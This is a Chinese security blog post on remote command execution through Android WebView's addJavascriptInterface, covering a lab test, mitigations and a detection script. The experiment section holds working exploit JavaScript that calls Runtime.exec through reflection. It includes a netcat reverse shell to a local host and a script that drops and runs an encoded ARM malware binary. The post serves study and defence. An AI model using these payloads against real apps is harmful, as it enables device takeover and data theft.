安卓WebView控件接口中的命令执行

0x01 背景
Android和IOS均支持WebView技术,封装了浏览器的基本功能,也即是在应用中嵌入了一个简单的浏览器。WebView除了显示页面之外也可以执行js代码,并且应用可以通过一些接口与js代码进行交互,js代码也可以调用这些接口,也就是调用应用的Java或者Object C代码。Android中WebView提供了一个addJavascriptInterface,将Java对象与一个JS对象联系起来。通过js代码就可能调用java代码等实现命令执行。

论文Attacks on WebView in the Android System中为该类攻击建立了两种威胁模型:

  • 1. 通过针对性的构造恶意的网页,使得存在缺陷的应用访问该url内容时遭受攻击。
  • 2. 用户使用恶意安卓应用访问某些正常站点时,恶意应用会通过webview控件调用js,执行恶意的js代码。劫持用户的登录操作等等。

0x02 实验
下面对第一种情形进行测试,利用js调用java代码的方式实现命令执行。
新建一个测试应用,添加WebView控件,安卓中部分代码如下:
[java]
WebSettings webSettings = mWebView.getSettings();
webSettings.setJavaScriptEnabled(true);
mWebView.setWebChromeClient(new MyWebChromeClient());
//将DemoJavascriptInterface的实例与js中的test对象绑定起来
mWebView.addJavascriptInterface(new DemoJavaScriptInterface(), "test");

mWebView.loadUrl("http://10.0.2.2:9000/test.html");</pre>
WebView中url所访问的服务器上的test.html中的js代码如下:
<pre class="syntax escaped javascript"><script type="text/javascript">// <![CDATA[
function execute(cmdArgs) {
return test.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","nc 10.0.2.2 8888|/system/bin/sh|nc 10.0.2.2 9999"]);
// ]]></script>
[/java]
用4.1.2版本sdk的模拟器测试,在本地监听这两个端口,可以弹出shell:

测试中发现调用WebView的addJavascriptInterface接口时,安卓2.2版本会崩溃。

 

官方说是2.3版本存在的一个bug,2.2可以正常执行。https://code.google.com/p/android/issues/detail?id=12987
但测试中发现2.2版本的模拟器依然崩溃。

另外,除了弹出shell,也可以通过js操作java代码,直接写入二进制文件实现挂马:
[javascript]
function execute(cmdArgs)
{
return test.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}

function getContents(inputStream)
{
var contents = "";
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
b = inputStream.read();
}
return contents;
}

var armBinary = "\\x7F\\x45\\x4C\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x28\\x00\\x01\\x00\\x00\\x00\\xF0\\x88\\x00\\x00\\x34\\x00\\x00\\x00\\x80\\x22\\x00\\x00\\x02\\x00\\x00\\x05\\x34\\x00\\x20\\x00\\x06\\x00\\x28\\x00\\x18\\x00\\x15\\x00\\x01\\x00\\x00(xxx二进制恶意程序代码xxx,参见reference)\\x72\\x65\\x65\\x00";
//将二进制恶意程序写入当前应用包目录下
execute(["/system/bin/sh","-c","echo ‘"+armBinary+"’ &gt; /data/data/com.example.webviewtest/armB2"]);
execute(["chmod","755","/data/data/com.example.webviewhack/armB2"]);
var p = execute(["/data/data/com.example.webviewhack/armB2","10.0.2.2","/mnt/sdcard"]);
document.write(getContents(p.getInputStream()));
[/javascript]
0x03 解决方案
1.在Android 4.2 API 17 中,谷歌已经开始使用annotation的方式进行javascript的接口调用。
从Android 4.2(API 17 JELLY_BEAN)开始,只有被JavascriptInterface注解标识的公有方法才可以被JS代码访问。
建议使用较新版本的android系统。编译的时候可以设置 minSdkVersion: ’17’ 控制app的最低兼容系统版本号。
2.去掉不必要的WebView中的javascriptInterface接口。对WebView功能和权限进行设置。
webview.getSettings().setAllowFileAccess(false);
webview.getSettings().setPluginsEnabled(false);
3.只对可信站点添加javascriptInterface,重写shouldOverrideUrlLoading来检测当前访问站点是否是可信的站点url,判断是否调用浏览器进行访问。
[javascript]
@Override
public boolean shouldOverrideUrlLoading(WebView wView, String url)
{
String hostName = Uri.parse(url).getHost();
if( hostName != "www.amazon.com" )
{
Uri uriUrl = Uri.parse("http://imevil.muhaha.com");
Intent launchDefaultBrowser = new Intent(Intent.ACTION_VIEW, uriUrl);
startActivity(launchBrowser);
return true;
}
return false;
}
[/javascript]
0x04 漏洞检测
乌云知识库提供了一个Webview命令执行漏洞的检测页面:
http://drops.wooyun.org/webview.html
关键代码如下:
[javascript]
function check()
{
for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
window[obj].getClass();
document.write(‘<span style="color:red">’+obj+'</span>’);
document.write(‘<br />’);
}catch(e){
}
}
} catch(e) {
}
}
}
check();
[/javascript]
Reference:
http://50.56.33.56/blog/?p=314
http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf
https://code.google.com/p/android/issues/detail?id=12987
http://drops.wooyun.org/papers/548
http://x86overflow.blogspot.com/2012/11/android-webview-security-few-notes.html

Leave a comment

Your email address will not be published. Required fields are marked *